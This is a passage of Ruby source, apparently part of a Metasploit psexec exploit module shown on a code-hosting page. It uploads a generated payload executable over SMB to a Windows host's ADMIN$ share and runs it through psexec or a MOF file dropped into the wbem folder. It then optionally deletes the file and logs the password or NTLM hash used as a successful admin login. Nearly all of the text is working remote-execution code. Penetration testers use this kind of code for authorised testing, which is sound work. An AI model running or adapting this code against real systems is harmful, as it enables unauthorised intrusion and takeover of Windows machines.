print_status("Created \\#{filename}...")
|
||||
end
|
||||
|
||||
# Disconnect from the share
|
||||
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
|
||||
# define the file location
|
||||
if datastore['SHARE'] == 'ADMIN$'
|
||||
file_location = "%SYSTEMROOT%\\#{filename}"
|
||||
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
|
||||
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
|
||||
else
|
||||
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
|
||||
end
|
||||
|
||||
psexec(file_location, false)
|
||||
|
||||
unless datastore['SERVICE_PERSIST']
|
||||
print_status("Deleting \\#{filename}...")
|
||||
#This is not really useful but will prevent double \\ on the wire :)
|
||||
if datastore['SHARE'] =~ /.[\\\/]/
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{fileprefix}\\#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
|
||||
end
|
||||
else
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{filename} failed: #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def mof_upload
|
||||
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
|
||||
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
|
||||
|
||||
# payload as exe
|
||||
print_status("Trying wbemexec...")
|
||||
print_status("Uploading Payload...")
|
||||
if datastore['SHARE'] != 'ADMIN$'
|
||||
print_error('Wbem will only work with ADMIN$ share')
|
||||
return
|
||||
end
|
||||
simple.connect(share)
|
||||
exe = generate_payload_exe
|
||||
fd = smb_open("\\system32\\#{filename}", 'rwct')
|
||||
fd << exe
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\#{filename}")
|
||||
|
||||
# mof to cause execution of above
|
||||
mofname = rand_text_alphanumeric(14) + ".MOF"
|
||||
mof = generate_mof(mofname, filename)
|
||||
print_status("Uploading MOF...")
|
||||
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
|
||||
fd << mof
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
|
||||
|
||||
# Disconnect from the ADMIN$
|
||||
simple.disconnect(share)
|
||||
end
|
||||
|
||||
def report_auth
|
||||
service_data = {
|
||||
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
private_data: datastore['SMBPass'],
|
||||
username: datastore['SMBUser'].downcase
|
||||
}
|
||||
|
||||
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
|
||||
credential_data.merge!({
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: datastore['SMBDomain']
|
||||
})
|
||||
end
|
||||
|
||||
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
|
||||
credential_data.merge!({:private_type => :ntlm_hash})
|
||||
else
|
||||
credential_data.merge!({:private_type => :password})
|
||||
end
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
access_level: 'Admin',
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue